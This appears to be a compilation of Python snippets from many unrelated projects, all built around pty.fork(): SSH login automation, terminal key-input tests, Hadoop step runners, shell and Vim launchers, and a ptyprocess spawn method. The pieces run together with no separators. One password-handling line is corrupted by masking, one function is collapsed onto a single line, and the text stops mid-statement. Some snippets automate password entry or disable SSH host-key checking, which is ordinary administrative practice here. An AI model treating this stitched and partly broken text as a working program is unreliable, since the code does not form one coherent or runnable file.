def run(self):
command = [
'/usr/bin/ssh',
self.user+'@'+self.host,
'-o', 'NumberOfPasswordPrompts=1',
self.exec,
]
# PID = 0 for child, and the PID of the child for the parent
pid, child_fd = pty.fork()
if not pid: # Child process
# Replace child process with our SSH process
execv(command[0], command)
while True:
output = read(child_fd, 1024).strip()
print(output)
lower = output.lower()
# Write the password
if b'password:'******'\n')
break
elif 'are you sure you want to continue connecting' in lower:
# Adding key to known_hosts
write(child_fd, b'yes\n')
elif 'company privacy warning' in lower:
pass # This is an understood message
else:
print('Error:',output)
os.waitpid(pid, 0)
def main(argv):
if len(argv) > 1 and argv[1] == "-n": # no passphrase
passphrase = None
else:
# first read a line containing the passphrase
passphrase = string.strip(sys.stdin.readline())
# fork with pty
pid,master = pty.fork()
assert pid != -1
if pid == 0:
# child. run ssh
os.execvp("ssh", ssh)
else:
# parent. talk to child.
s = parent(master, passphrase)
# ensure child is gone
cleanup(pid)
# write whatever we get from child
os.write(1, s)
# wait for child to disappear
qid,status = os.wait()
assert pid == qid
if os.WIFEXITED(status):
# child normally exited. forward its status
os._exit(os.WEXITSTATUS(status))
else:
# child was killed. return 255
os._exit(255)
def alloc_pty(ctx, f, *args, **kwargs):
pid, fd = pty.fork()
if pid == pty.CHILD:
tty = os.ttyname(0)
sys.stdin = open(tty, 'r')
sys.stdout = open(tty, 'w')
sys.stderr = open(tty, 'w')
# alternative way of doing ^ is to do:
# kwargs["stdout"] = open(tty, 'w')
# kwargs["stderr"] = open(tty, 'w')
# kwargs["stdin"] = open(tty, 'r')
# Create a new client for the child process to avoid concurrency issues
client = get_client()
f(client, *args, **kwargs)
sys.exit(0)
else:
ctx.pty = fd
util.set_pty_size(
ctx.pty,
(ctx.rows, ctx.cols)
)
ctx.pid = pid
util.wait(ctx.pty, timeout=5)
time.sleep(1) # give the terminal some time to print prompt
# util.exit_code can be called only once
ctx.exit_code = util.exit_code(ctx.pid, timeout=5)
if ctx.exit_code != 0:
raise Exception("child process did not finish correctly")
def __init__(self, domain, historyLimit=256, historySaveAll=True, historySaveCmds=False, cLimit=131072):
"""
Parameters:
historyLimit: specifies how many lines of history are maintained
historySaveAll: determines whether or not extra messages in
between commands are saved
historySaveCmds : determines whether or not the command echos
are included in the history buffer
"""
self.TIMEOUT = 30
self.PROMPT = "@%@%> "
self.domain = domain
self.historyBuffer = []
self.historyLines = 0
self.historyLimit = historyLimit
self.historySaveAll = historySaveAll
self.historySaveCmds = historySaveCmds
self.debugMe = False
self.limit = cLimit
consoleCmd = ["/usr/sbin/xm", "xm", "console", domain]
if verbose:
print "Console executing: %s" % str(consoleCmd)
pid, fd = pty.fork()
if pid == 0:
os.execvp("/usr/sbin/xm", consoleCmd[1:])
self.consolePid = pid
self.consoleFd = fd
tty.setraw(self.consoleFd, termios.TCSANOW)
def main (): signal.signal (signal.SIGCHLD, signal_handler) pid, fd = pty.fork() if pid == 0: os.write (sys.stdout.fileno(), 'This is a test.\nThis is a test.') time.sleep(10000) nonblock (fd) tty.setraw(fd) #STDIN_FILENO) print 'Sending SIGKILL to child pid:', pid time.sleep(2) os.kill (pid, signal.SIGKILL) print 'Entering to sleep...' try: time.sleep(2) except: print 'Sleep interrupted' try: os.kill(pid, 0) print '\tChild is alive. This is ambiguous because it may be a Zombie.' except OSError as e: print '\tChild appears to be dead.' # print str(e) print print 'Reading from master fd:', os.read (fd, 1000)
def step_impl(ctx):
pid, fd = pty.fork()
if pid == pty.CHILD:
tty = os.ttyname(0)
sys.stdin = open(tty, 'r')
sys.stdout = open(tty, 'w')
sys.stderr = open(tty, 'w')
try:
dockerpty.start(ctx.client, ctx.container)
except Exception as e:
raise e
os._exit(1)
else:
os._exit(0)
else:
try:
tty = os.ttyname(fd)
except OSError as ex:
# Not supported on OS X. But since we're not using this
# TTY name anyway, let the test pass.
tty = 'OSX'
ctx.pty = fd
util.set_pty_size(
ctx.pty,
(ctx.rows, ctx.cols)
)
ctx.pid = pid
util.wait(ctx.pty, timeout=5)
time.sleep(1) # give the terminal some time to print prompt
def _connectSSHLocal(self, hostname, username, passwd):
sshcmd = [self.ssh_bin, '%s@%s' % (username, hostname)]
if self.ssh_extraopt:
sshcmd += self.ssh_extraopt.split()
self.addStringToClipboard(passwd)
pid, self.remote_fd = pty.fork()
if pid == pty.CHILD:
os.execlp(sshcmd[0], *sshcmd)
try:
mode = tty.tcgetattr(pty.STDIN_FILENO)
tty.setraw(pty.STDIN_FILENO)
restore = True
except tty.error:
restore = False
signal.signal(signal.SIGWINCH, self._winchHandler)
self._setRemoteTTYSize(self.remote_fd)
self._setTerminalTitle('%s@%s' % (username, hostname))
try:
self._copySSHData(self.remote_fd, passwd)
except (IOError, OSError):
pass
except:
if restore:
tty.tcsetattr(pty.STDIN_FILENO, tty.TCSAFLUSH, mode)
raise
if restore:
tty.tcsetattr(pty.STDIN_FILENO, tty.TCSAFLUSH, mode)
signal.signal(signal.SIGWINCH, signal.SIG_DFL)
os.close(self.remote_fd)
def test_inkey_1s_cbreak_input():
"1-second inkey w/multibyte sequence; should return after ~1 second."
pid, master_fd = pty.fork()
if pid is 0: # child
try:
cov = __import__('cov_core_init').init()
except ImportError:
cov = None
term = TestTerminal()
os.write(sys.__stdout__.fileno(), SEMAPHORE)
with term.cbreak():
inp = term.inkey(timeout=3)
os.write(sys.__stdout__.fileno(), inp.name.encode('utf-8'))
sys.stdout.flush()
if cov is not None:
cov.stop()
cov.save()
os._exit(0)
with echo_off(master_fd):
read_until_semaphore(master_fd)
stime = time.time()
time.sleep(1)
os.write(master_fd, u'\x1b[C'.encode('ascii'))
output = read_until_eof(master_fd)
pid, status = os.waitpid(pid, 0)
assert output == u'KEY_RIGHT'
assert os.WEXITSTATUS(status) == 0
assert math.floor(time.time() - stime) == 1.0
def test_esc_delay_cbreak_timout_0():
"""esc_delay still in effect with timeout of 0 ("nonblocking")."""
pid, master_fd = pty.fork()
if pid is 0: # child
try:
cov = __import__('cov_core_init').init()
except ImportError:
cov = None
term = TestTerminal()
os.write(sys.__stdout__.fileno(), SEMAPHORE)
with term.cbreak():
stime = time.time()
inp = term.inkey(timeout=0)
measured_time = (time.time() - stime) * 100
os.write(sys.__stdout__.fileno(), (
'%s %i' % (inp.name, measured_time,)).encode('ascii'))
sys.stdout.flush()
if cov is not None:
cov.stop()
cov.save()
os._exit(0)
with echo_off(master_fd):
os.write(master_fd, u'\x1b'.encode('ascii'))
read_until_semaphore(master_fd)
stime = time.time()
key_name, duration_ms = read_until_eof(master_fd).split()
pid, status = os.waitpid(pid, 0)
assert key_name == u'KEY_ESCAPE'
assert os.WEXITSTATUS(status) == 0
assert math.floor(time.time() - stime) == 0.0
assert 35 <= int(duration_ms) <= 45, int(duration_ms)
def test_inkey_0s_cbreak_input():
"0-second inkey with input; Keypress should be immediately returned."
pid, master_fd = pty.fork()
if pid is 0:
try:
cov = __import__('cov_core_init').init()
except ImportError:
cov = None
# child pauses, writes semaphore and begins awaiting input
term = TestTerminal()
read_until_semaphore(sys.__stdin__.fileno(), semaphore=SEMAPHORE)
os.write(sys.__stdout__.fileno(), SEMAPHORE)
with term.cbreak():
inp = term.inkey(timeout=0)
os.write(sys.__stdout__.fileno(), inp.encode('utf-8'))
if cov is not None:
cov.stop()
cov.save()
os._exit(0)
with echo_off(master_fd):
os.write(master_fd, SEND_SEMAPHORE)
os.write(master_fd, u'x'.encode('ascii'))
read_until_semaphore(master_fd)
stime = time.time()
output = read_until_eof(master_fd)
pid, status = os.waitpid(pid, 0)
assert output == u'x'
assert os.WEXITSTATUS(status) == 0
assert math.floor(time.time() - stime) == 0.0
def test_inkey_0s_cbreak_multibyte_utf8():
"0-second inkey with multibyte utf-8 input; should decode immediately."
# utf-8 bytes represent "latin capital letter upsilon".
pid, master_fd = pty.fork()
if pid is 0: # child
try:
cov = __import__('cov_core_init').init()
except ImportError:
cov = None
term = TestTerminal()
read_until_semaphore(sys.__stdin__.fileno(), semaphore=SEMAPHORE)
os.write(sys.__stdout__.fileno(), SEMAPHORE)
with term.cbreak():
inp = term.inkey(timeout=0)
os.write(sys.__stdout__.fileno(), inp.encode('utf-8'))
if cov is not None:
cov.stop()
cov.save()
os._exit(0)
with echo_off(master_fd):
os.write(master_fd, SEND_SEMAPHORE)
os.write(master_fd, u'\u01b1'.encode('utf-8'))
read_until_semaphore(master_fd)
stime = time.time()
output = read_until_eof(master_fd)
pid, status = os.waitpid(pid, 0)
assert output == u'Ʊ'
assert os.WEXITSTATUS(status) == 0
assert math.floor(time.time() - stime) == 0.0
def _run_job_in_hadoop(self):
self._counters = []
for step_num in range(self._num_steps()):
log.debug("running step %d of %d" % (step_num + 1, self._num_steps()))
step_args = self._args_for_step(step_num)
log.debug("> %s" % cmd_line(step_args))
# try to use a PTY if it's available
try:
pid, master_fd = pty.fork()
except (AttributeError, OSError):
# no PTYs, just use Popen
step_proc = Popen(step_args, stdout=PIPE, stderr=PIPE)
self._process_stderr_from_streaming(step_proc.stderr)
# there shouldn't be much output to STDOUT
for line in step_proc.stdout:
log.error("STDOUT: " + to_string(line.strip(b"\n")))
returncode = step_proc.wait()
else:
# we have PTYs
if pid == 0: # we are the child process
os.execvp(step_args[0], step_args)
else:
with os.fdopen(master_fd, "rb") as master:
# reading from master gives us the subprocess's
# stderr and stdout (it's a fake terminal)
self._process_stderr_from_streaming(master)
_, returncode = os.waitpid(pid, 0)
if returncode == 0:
# parsing needs step number for whole job
self._fetch_counters([step_num + self._start_step_num])
# printing needs step number relevant to this run of mrjob
self.print_counters([step_num + 1])
else:
msg = "Job failed with return code %d: %s" % (returncode, step_args)
log.error(msg)
# look for a Python traceback
cause = self._find_probable_cause_of_failure([step_num + self._start_step_num])
if cause:
# log cause, and put it in exception
cause_msg = [] # lines to log and put in exception
cause_msg.append("Probable cause of failure (from %s):" % cause["log_file_uri"])
cause_msg.extend(line.strip("\n") for line in cause["lines"])
if cause["input_uri"]:
cause_msg.append("(while reading from %s)" % cause["input_uri"])
for line in cause_msg:
log.error(line)
# add cause_msg to exception message
msg += "\n" + "\n".join(cause_msg) + "\n"
raise CalledProcessError(returncode, step_args)
def run_bg(cmd, debug=False, cwd=''):
'''
run_bg(cmd)
Works the same as ``ave.cmd.run()``, except that it is non-blocking.
:returns: A *(PID, file descriptor)* tuple. The file descriptor is attached
to the new process' pseudoterminal and will carry all messages written
to ``stdout`` and ``stderr``.
.. note:: The caller *must* eventually use ``os.wait()`` or one of its
variations on the PID and ``os.close()`` on the file descriptor. Failing
to perform these cleanups will lead to defunct processes and/or running
out of pseudoterminals.
'''
# make sure 'cmd' is a list of strings
if type(cmd) in [str, unicode]:
cmd = [c for c in cmd.split() if c != '']
if debug:
sys.stderr.write(' '.join(cmd)+'\n')
sys.stderr.flush()
try:
( child_pid, child_fd ) = pty.fork()
except OSError as e:
raise RunError(cmd, None, message='pty.fork() failed: %s' % str(e))
if child_pid == 0:
try:
if cwd != '':
os.chdir(cwd)
os.execvp(cmd[0], cmd)
except Exception, e:
raise RunError(cmd, None, 'os.execvp() failed: %s' % str(e))
def test_inkey_0s_raw_ctrl_c():
"0-second inkey with raw allows receiving ^C."
pid, master_fd = pty.fork()
if pid is 0: # child
try:
cov = __import__('cov_core_init').init()
except ImportError:
cov = None
term = TestTerminal()
read_until_semaphore(sys.__stdin__.fileno(), semaphore=SEMAPHORE)
with term.raw():
os.write(sys.__stdout__.fileno(), RECV_SEMAPHORE)
inp = term.inkey(timeout=0)
os.write(sys.__stdout__.fileno(), inp.encode('latin1'))
if cov is not None:
cov.stop()
cov.save()
os._exit(0)
with echo_off(master_fd):
os.write(master_fd, SEND_SEMAPHORE)
# ensure child is in raw mode before sending ^C,
read_until_semaphore(master_fd)
os.write(master_fd, u'\x03'.encode('latin1'))
stime = time.time()
output = read_until_eof(master_fd)
pid, status = os.waitpid(pid, 0)
assert (output == u'\x03' or
output == u'' and not os.isatty(0))
assert os.WEXITSTATUS(status) == 0
assert math.floor(time.time() - stime) == 0.0
def start(self, command):
if self.using_pty:
if pty is None: # Encountered ImportError
sys.exit("You indicated pty=True, but your platform doesn't support the 'pty' module!") # noqa
self.pid, self.parent_fd = pty.fork()
# If we're the child process, load up the actual command in a
# shell, just as subprocess does; this replaces our process - whose
# pipes are all hooked up to the PTY - with the "real" one.
if self.pid == 0:
# Use execv for bare-minimum "exec w/ variable # args"
# behavior. No need for the 'p' (use PATH to find executable)
# or 'e' (define a custom/overridden shell env) variants, for
# now.
# TODO: use /bin/sh or whatever subprocess does. Only using
# bash for now because that's what we have been testing
# against.
# TODO: also see if subprocess is using equivalent of execvp...
# TODO: both pty.spawn() and pexpect.spawn() do a lot of
# setup/teardown involving tty.*, setwinsize, getrlimit,
# signal. Ostensibly we'll want some of that eventually, but if
# possible write tests - integration-level if necessary -
# before adding it!
os.execv('/bin/bash', ['/bin/bash', '-c', command])
else:
self.process = Popen(
command,
shell=True,
stdout=PIPE,
stderr=PIPE,
)
def test_esc_delay_cbreak_135():
"esc_delay=1.35 will cause a single ESC (\\x1b) to delay for 1.35."
pid, master_fd = pty.fork()
if pid == 0: # child
cov = init_subproc_coverage('test_esc_delay_cbreak_135')
term = TestTerminal()
os.write(sys.__stdout__.fileno(), SEMAPHORE)
with term.cbreak():
stime = time.time()
inp = term.inkey(timeout=5, esc_delay=1.35)
measured_time = (time.time() - stime) * 100
os.write(sys.__stdout__.fileno(), (
'%s %i' % (inp.name, measured_time,)).encode('ascii'))
sys.stdout.flush()
if cov is not None:
cov.stop()
cov.save()
os._exit(0)
with echo_off(master_fd):
read_until_semaphore(master_fd)
stime = time.time()
os.write(master_fd, u'\x1b'.encode('ascii'))
key_name, duration_ms = read_until_eof(master_fd).split()
pid, status = os.waitpid(pid, 0)
assert key_name == u'KEY_ESCAPE'
assert os.WEXITSTATUS(status) == 0
assert math.floor(time.time() - stime) == 1.0
assert 134 <= int(duration_ms) <= 145, int(duration_ms)
def test_esc_delay_cbreak_prefix_sequence():
"An unfinished multibyte sequence (\\x1b[) will delay an ESC by .35 "
pid, master_fd = pty.fork()
if pid is 0: # child
cov = init_subproc_coverage('test_esc_delay_cbreak_prefix_sequence')
term = TestTerminal()
os.write(sys.__stdout__.fileno(), SEMAPHORE)
with term.cbreak():
stime = time.time()
esc = term.inkey(timeout=5)
inp = term.inkey(timeout=5)
measured_time = (time.time() - stime) * 100
os.write(sys.__stdout__.fileno(), (
'%s %s %i' % (esc.name, inp, measured_time,)).encode('ascii'))
sys.stdout.flush()
if cov is not None:
cov.stop()
cov.save()
os._exit(0)
with echo_off(master_fd):
read_until_semaphore(master_fd)
stime = time.time()
os.write(master_fd, u'\x1b['.encode('ascii'))
key1_name, key2, duration_ms = read_until_eof(master_fd).split()
pid, status = os.waitpid(pid, 0)
assert key1_name == u'KEY_ESCAPE'
assert key2 == u'['
assert os.WEXITSTATUS(status) == 0
assert math.floor(time.time() - stime) == 0.0
assert 34 <= int(duration_ms) <= 45, duration_ms
def forkShell(self):
"""
Fork the current process and replace it with Bash.
"""
try:
childPID, fd = pty.fork()
except OSError:
msg = 'Could not spawn another terminal.'
return None
if childPID == 0:
# We are in the child process: flush stdout to be safe.
sys.stdout.flush()
# Setup the environment variables for the new terminal.
for key, value in self.envVars.items():
os.environ[key] = value
try:
# Replace the current process with a new one - the
# Bash. The first argument to execlp refers to the
# program, the second to the entry in the process
# table as listed by eg. 'ps', and the third argument
# is a command line switch to tell Bash that it should
# be in interactive mode even though it is not
# directly connected to a screen (this ensures that
# it uses the readline library).
os.execlp('/bin/bash', 'qbash', '-i')
except:
print('Error: Could not replace current process with Bash.')
return None
else:
# We are in the parent process.
print('Spawned Bash shell (PID {})'.format(childPID))
return fd
def test_keystroke_0s_cbreak_sequence():
"0-second keystroke with multibyte sequence; should decode immediately."
pid, master_fd = pty.fork()
if pid == 0: # child
cov = init_subproc_coverage('test_keystroke_0s_cbreak_sequence')
term = TestTerminal()
os.write(sys.__stdout__.fileno(), SEMAPHORE)
with term.cbreak():
inp = term.inkey(timeout=0)
os.write(sys.__stdout__.fileno(), inp.name.encode('ascii'))
sys.stdout.flush()
if cov is not None:
cov.stop()
cov.save()
os._exit(0)
with echo_off(master_fd):
os.write(master_fd, u'\x1b[D'.encode('ascii'))
read_until_semaphore(master_fd)
stime = time.time()
output = read_until_eof(master_fd)
pid, status = os.waitpid(pid, 0)
assert output == u'KEY_LEFT'
assert os.WEXITSTATUS(status) == 0
assert math.floor(time.time() - stime) == 0.0
def start(self):
"""
Start the Vim instance if it is not already running.
This command forks in a pseudoterminal, and starts Vim, if Vim is not
already running. The pid is stored for later use.
"""
if not self.pid:
# Get the console vim executable path
#command = self.prop_main_registry.commands.vim.value()
command = 'gvim'
# Fork using pty.fork to prevent Vim taking the terminal
sock = gtk.Socket()
w = gtk.Window()
w.realize()
w.add(sock)
xid = sock.get_id()
pid, fd = pty.fork()
if pid == 0:
# Child, execute Vim with the correct servername argument
os.execvp(command, ['gvim', '-f', '--servername', self.name,
'--socketid', '%s' % xid])
#'-v'])
# os.system('%s -v --servername %s' % (command, self.name))
else:
# Parent, store the pid, and file descriptor for later.
self.pid = pid
self.childfd = fd
def runWithTimeout(callback, timeout):
# args = cmd.split()
pid, fd = pty.fork();
startTime = time.time()
endTime = startTime + timeout
if pid == 0:
#os.execvp(args[0], args)
callback()
exit(0)
output = ""
while True:
timeleft = endTime - time.time()
if timeleft <= 0:
break
i, o, e = select.select([fd], [], [], timeleft)
if fd in i:
try:
str = os.read(fd, 1)
output += str
except OSError, e:
exitPid, status = os.waitpid(pid, os.WNOHANG)
if exitPid == pid:
if verbose:
print "Child exited with %i" % status
return status, output
def spawnTTY(self, command, args = [], environment = None):
try:
self._pid, self._child_fd = pty.fork()
# Returning from master thread with the file decorator
if self._pid != 0:
self._stdout_fd = self._child_fd
self._stdin_fd = self._child_fd
return True
except OSError as e:
raise CommunicationOSException("Unable to fork a PTY.")
# Child thread in new pseudo-terminal
self._child_fd = sys.stdout.fileno()
# Closes files inherited from parent process
fd = resource.getrlimit(resource.RLIMIT_NOFILE)[0]
for i in range (3, fd):
try:
os.close (i)
except OSError:
pass
self._stdin_fd = fd
self._stdout_fd = fd
# Spawning process
if environment is None:
os.execv(command,[y for y in filter(lambda x: x!="", [command,] + args)])
else:
os.execvpe(command,[y for y in filter(lambda x: x!="", [command,] + args)], environment)
def __init__(self, hostname):
self.pid, fd = pty.fork()
if self.pid == 0:
# Child
self.launch_ssh(hostname)
sys.exit(1)
# Parent
buffered_dispatcher.__init__(self, fd)
self.temporary = False
self.hostname = hostname
self.debug = options.debug
self.enabled = True # shells can be enabled and disabled
self.state = STATE_NOT_STARTED
self.term_size = (-1, -1)
self.display_name = None
self.change_name(hostname)
self.init_string = self.configure_tty() + self.set_prompt()
self.init_string_sent = False
self.read_in_state_not_started = ''
self.command = options.command
self.last_printed_line = ''
if sys.stdout.isatty() and not options.disable_color:
COLORS.insert(0, COLORS.pop()) # Rotate the colors
self.color_code = COLORS[0]
else:
self.color_code = None
def set_rsa(host, rsa_pub, user, password):
"""
logs into system via ssh
and appends to authorized_keys using username password
:param host: name over the server
:param rsa_pub: absolute path to your id_rsa.pub
:param user: host login creds
:param password: host login creds
:param home_dir: home directory for user
"""
output = None
with open(rsa_pub, 'r') as file:
output = file.read()
cmd = '/bin/mkdir -p /root/.ssh && echo "%s" >>'
' /root/.ssh/authorized_keys &&'
' /bin/chmod -R 600 /root/.ssh' % (output.strip())
pid, fd = pty.fork()
if pid == 0:
os.execvp("/usr/bin/ssh", ["ssh",
user+'@'+host,
'-o',
'NumberOfPasswordPrompts=1',
'-o',
'StrictHostKeyChecking=no',
'-o',
'UserKnownHostsFile=/dev/null',
cmd])
elif pid > 0:
searches = {'password': password, 'continue connecting': 'yes'}
if event(fd, searches) == 'continue connecting':
event(fd, searches)
os.wait4(pid, 0)
os.close(fd)
def oldstat(pid, events, t, ann=None, norm=False, guest=False):
evcmd = ",".join(events)
if guest:
cmd = "sudo perf kvm stat"
else:
cmd = "sudo perf stat"
cmd += " -e {events} --log-fd 1 -x, -p {pid}".format(events=evcmd, pid=pid)
pid, fd = pty.fork()
if pid == 0:
osexec(cmd)
# fcntl.ioctl(fd, termios.TIOCSWINSZ, struct.pack("hhhh", 24, 80, 0, 0)) # resise terminal
# disable echo
flags = termios.tcgetattr(fd)
flags[3] &= ~termios.ECHO
termios.tcsetattr(fd, termios.TCSADRAIN, flags)
time.sleep(t)
ctrl_c = termios.tcgetattr(fd)[-1][termios.VINTR] # get Ctrl+C character
os.write(fd, ctrl_c)
os.waitpid(pid, 0)
raw = b""
while True:
try:
chunk = os.read(fd, BUF_SIZE)
except OSError:
break
if not chunk:
break
raw += chunk
return PerfData(raw, ann=ann, norm=norm)
def start_client(session, cfg):
master_fd = None
try:
shell = os.environ['SHELL']
if not shell:
shell = ['/bin/bash', '-i', '-l']
if cfg.config and 'pty-config' in cfg.config and 'default-shell' in cfg.config['pty-config']:
shell = cfg.config['pty-config']['default-shell']
else:
shell = [shell]
pid, master_fd = pty.fork()
if pid == pty.CHILD:
os.execlp(shell[0], *shell)
session.interactive_shell(master_fd)
except:
logging.getLogger('pty_client').exception('pty client caught exception:')
try:
if master_fd:
os.close(master_fd)
except:
pass
def run(self):
command = copy(self.command)
for control in self.option_controls:
command += control.get_options()
# Start Process
self.pid, self.stdout = pty.fork()
if self.pid == 0: # Child
# Close open file descriptors
# This tidbit taken from pexpect
max_fd = resource.getrlimit(resource.RLIMIT_NOFILE)[0]
for i in xrange(3, max_fd):
try:
os.close(i)
except OSError:
pass
os.chdir(self.directory)
os.execvp(command[0], command)
raise OSError("os.exec failed!")
self.app_tree.SetItemBold(self.tree_item, True)
self.run_button.SetLabel("Stop")
self.output_box.SetValue(self.short_directory+" $ "+command_to_string(command)+"\n")
def spawn(self, argv=None):
'''
Create a spawned process.
Based on the code for pty.spawn().
'''
assert self.master_fd is None
if not argv:
argv = [os.environ['SHELL']]
pid, master_fd = pty.fork()
self.master_fd = master_fd
if pid == pty.CHILD:
os.execlp(argv[0], *argv)
old_handler = signal.signal(signal.SIGWINCH, self._signal_winch)
try:
mode = tty.tcgetattr(pty.STDIN_FILENO)
tty.setraw(pty.STDIN_FILENO)
restore = 1
except tty.error: # This is the same as termios.error
restore = 0
self._init_fd()
try:
self._copy()
except (IOError, OSError):
if restore:
tty.tcsetattr(pty.STDIN_FILENO, tty.TCSAFLUSH, mode)
os.close(master_fd)
self.master_fd = None
signal.signal(signal.SIGWINCH, old_handler)
self._set_pty_size()
def setup(self):
# start up the child
pid,fd = pty.fork()
if pid is 0:
os.system(self.cmd)
sys.exit()
# put the child terminal and the controlling input in raw mode
new_attr = tcgetattr(fd)
new_attr[0] &= ~(IGNBRK | BRKINT | ISTRIP | INLCR | IGNCR | ICRNL)
new_attr[1] &= ~(OPOST)
new_attr[2] &= ~(CSIZE)
new_attr[3] &= ~(ECHO | ECHONL | ICANON | ISIG | IEXTEN)
tcsetattr(fd, TCSAFLUSH, new_attr)
self.old_attr = tcgetattr(sys.stdin)
new_attr = tcgetattr(sys.stdin)
new_attr[0] &= ~(IGNBRK | BRKINT | ISTRIP | INLCR | IGNCR | ICRNL)
new_attr[2] &= ~(CSIZE)
new_attr[3] &= ~(ECHO | ECHONL | ICANON | ISIG | IEXTEN)
tcsetattr(sys.stdin, TCSAFLUSH, new_attr)
# create a socket and accept a connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('', self.port))
sock.listen(1)
self.stub = gdbstub.gdbstub(sock, fd)
def _setupPty(self):
(pid, master_fd)= pty.fork()
self.stdout = master_fd
self.stdin = master_fd
self.stdout = master_fd
if pid == 0:
os.execv("/bin/bash",["/bin/bash","-l"])
def start(self, request, image_name, rows=24, cols=80):
self._image_internals_path = '/tmp/{}'.format(image_name)
image_full_path = '{}/{}.img.gz'.format(options.dominion_workspace,
image_name)
if not os.path.isfile(image_full_path):
request.ret(IMAGE_DOES_NOT_EXIST)
request.ret_and_continue(IMAGE_IS_PREPARING)
self.logger.info('Uncompressing image {}'.format(image_name))
ret, _, err = yield util.execute_async(
['uncompress_image.sh', image_name], {
'DOMINION_WORKSPACE': options.dominion_workspace,
'PATH': os.getenv('PATH'),
}
)
if ret:
self.logger.error('An error occurred when uncompressing the image '
'named {}: {}'.format(err, image_name))
request.ret(IMAGE_COULD_NOT_BE_PREPARED)
pid, fd = pty.fork()
if pid == 0: # child process
os.chdir(self._image_internals_path)
cmd = [
'docker-qemu.sh',
'-e IMAGE={}.img'.format(image_name),
'-n', image_name,
]
env = {
'COLUMNS': str(cols),
'LINES': str(rows),
'PATH': os.environ['PATH'],
'TERM': 'vt220',
}
os.execvpe(cmd[0], cmd, env)
else: # parent process
self.logger.debug('docker-qemu.sh started with pid {}'.format(pid))
self._fd = fd
self._script_p = psutil.Process(pid)
attempts_number = 60
for i in range(attempts_number):
try:
# Image name is also used as a container name
self._client.inspect_container(image_name)
break
except docker.errors.NotFound:
yield gen.sleep(1)
self._container_name = image_name
fcntl.fcntl(fd, fcntl.F_SETFL, os.O_NONBLOCK)
fcntl.ioctl(fd, termios.TIOCSWINSZ,
struct.pack('HHHH', rows, cols, 0, 0))
def callback(*args, **kwargs):
# There can be the Input/output error if the process was
# terminated unexpectedly.
try:
buf = os.read(self._fd, 65536)
except OSError:
self.destroy()
request.ret(IMAGE_TERMINATED)
request.ret_and_continue(buf.decode('utf8', errors='replace'))
self.io_loop.add_handler(self._fd, callback, self.io_loop.READ)
def _run_job_in_hadoop(self):
for step_num in range(self._num_steps()):
step_args = self._args_for_step(step_num)
# log this *after* _args_for_step(), which can start a search
# for the Hadoop streaming jar
log.info('Running step %d of %d' %
(step_num + 1, self._num_steps()))
log.debug('> %s' % cmd_line(step_args))
log_interpretation = {}
self._log_interpretations.append(log_interpretation)
# try to use a PTY if it's available
try:
pid, master_fd = pty.fork()
except (AttributeError, OSError):
# no PTYs, just use Popen
# user won't get much feedback for a while, so tell them
# Hadoop is running
log.debug('No PTY available, using Popen() to invoke Hadoop')
step_proc = Popen(step_args, stdout=PIPE, stderr=PIPE)
step_interpretation = _interpret_hadoop_jar_command_stderr(
step_proc.stderr, record_callback=_log_record_from_hadoop)
# there shouldn't be much output to STDOUT
for line in step_proc.stdout:
_log_line_from_hadoop(to_string(line).strip('\r\n'))
step_proc.stdout.close()
step_proc.stderr.close()
returncode = step_proc.wait()
else:
# we have PTYs
if pid == 0: # we are the child process
os.execvp(step_args[0], step_args)
else:
log.debug('Invoking Hadoop via PTY')
with os.fdopen(master_fd, 'rb') as master:
# reading from master gives us the subprocess's
# stderr and stdout (it's a fake terminal)
step_interpretation = (
_interpret_hadoop_jar_command_stderr(
master,
record_callback=_log_record_from_hadoop))
_, returncode = os.waitpid(pid, 0)
# make sure output_dir is filled
if 'output_dir' not in step_interpretation:
step_interpretation['output_dir'] = (
self._hdfs_step_output_dir(step_num))
log_interpretation['step'] = step_interpretation
counters = self._pick_counters(log_interpretation)
if counters:
log.info(_format_counters(counters))
else:
log.warning('No counters found')
if returncode:
error = self._pick_error(log_interpretation)
if error:
log.error('Probable cause of failure:\n\n%s\n' %
_format_error(error))
# use CalledProcessError's well-known message format
reason = str(CalledProcessError(returncode, step_args))
raise StepFailedException(reason=reason,
step_num=step_num,
num_steps=self._num_steps())
def spawn(cls,
argv,
cwd=None,
env=None,
echo=True,
preexec_fn=None,
dimensions=(24, 80)):
'''Start the given command in a child process in a pseudo terminal.
This does all the fork/exec type of stuff for a pty, and returns an
instance of PtyProcess.
If preexec_fn is supplied, it will be called with no arguments in the
child process before exec-ing the specified command.
It may, for instance, set signal handlers to SIG_DFL or SIG_IGN.
Dimensions of the psuedoterminal used for the subprocess can be
specified as a tuple (rows, cols), or the default (24, 80) will be used.
'''
# Note that it is difficult for this method to fail.
# You cannot detect if the child process cannot start.
# So the only way you can tell if the child process started
# or not is to try to read from the file descriptor. If you get
# EOF immediately then it means that the child is already dead.
# That may not necessarily be bad because you may have spawned a child
# that performs some task; creates no stdout output; and then dies.
if not isinstance(argv, (list, tuple)):
raise TypeError("Expected a list or tuple for argv, got %r" % argv)
# Shallow copy of argv so we can modify it
argv = argv[:]
command = argv[0]
command_with_path = which(command)
if command_with_path is None:
raise FileNotFoundError('The command was not found or was not ' +
'executable: %s.' % command)
command = command_with_path
argv[0] = command
# [issue #119] To prevent the case where exec fails and the user is
# stuck interacting with a python child process instead of whatever
# was expected, we implement the solution from
# http://stackoverflow.com/a/3703179 to pass the exception to the
# parent process
# [issue #119] 1. Before forking, open a pipe in the parent process.
exec_err_pipe_read, exec_err_pipe_write = os.pipe()
if use_native_pty_fork:
pid, fd = pty.fork()
else:
# Use internal fork_pty, for Solaris
pid, fd = _fork_pty.fork_pty()
# Some platforms must call setwinsize() and setecho() from the
# child process, and others from the primary process. We do both,
# allowing IOError for either.
if pid == CHILD:
# set window size
try:
_setwinsize(STDIN_FILENO, *dimensions)
except IOError as err:
if err.args[0] not in (errno.EINVAL, errno.ENOTTY):
raise
# disable echo if spawn argument echo was unset
if not echo:
try:
_setecho(STDIN_FILENO, False)
except (IOError, termios.error) as err:
if err.args[0] not in (errno.EINVAL, errno.ENOTTY):
raise
# [issue #119] 3. The child closes the reading end and sets the
# close-on-exec flag for the writing end.
os.close(exec_err_pipe_read)
fcntl.fcntl(exec_err_pipe_write, fcntl.F_SETFD, fcntl.FD_CLOEXEC)
# Do not allow child to inherit open file descriptors from parent,
# with the exception of the exec_err_pipe_write of the pipe
# Impose ceiling on max_fd: AIX bugfix for users with unlimited
# nofiles where resource.RLIMIT_NOFILE is 2^63-1 and os.closerange()
# occasionally raises out of range error
max_fd = min(1048576,
